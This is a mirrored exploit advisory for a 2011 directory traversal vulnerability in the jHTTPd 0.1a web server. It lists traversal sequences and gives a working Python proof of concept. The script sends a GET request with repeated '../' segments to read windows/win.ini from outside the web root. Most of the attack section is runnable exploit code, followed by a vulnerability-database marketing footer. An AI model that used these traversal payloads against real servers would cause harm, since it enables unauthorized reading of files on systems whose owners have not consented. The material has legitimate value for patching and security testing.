Lucene search
K

jHTTPd 0.1a Directory Traversal Vulnerability

🗓️ 30 Mar 2011 00:00:00Reported by AutoSec ToolsType 
zdt
 zdt
🔗 0day.today👁 20 Views

jHTTPd 0.1a Directory Traversal Vulnerability, Serious threat, Exploitable for reading files outside web roo

Code
# ------------------------------------------------------------------------
# Software................jHTTPd 0.1a
# Vulnerability...........Directory Traversal
# Threat Level............Serious (3/5)
# Download................http://developer.gauner.org/jhttpd/
# Discovery Date..........3/28/2011
# Tested On...............Windows Vista + XAMPP
# ------------------------------------------------------------------------
# Author..................AutoSec Tools
# Site....................http://www.autosectools.com/
# Email...................John Leitch <[email protected]>
# ------------------------------------------------------------------------
#
#
# --Description--
#
# A directory traversal vulnerability in jHTTPd 0.1a can be exploited to
# read files outside of the web root.
#
#
# --Exploit--
#
# ..\/
# ..//
# ..\
# ../
#
#
# --PoC--
 
import socket, urllib
 
host = 'localhost'
port = 8082
file = 'windows/win.ini'
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)   
 
print 'sending'
 
s.send('GET ' + '../' * 16 + file + ' HTTP/1.1\r\n'
    'Host: ' + host + '\r\n\r\n')
print s.recv(8192) + s.recv(8192)



#  0day.today [2018-04-09]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Mar 2011 00:00Current
7.1High risk
Vulners AI Score7.1
20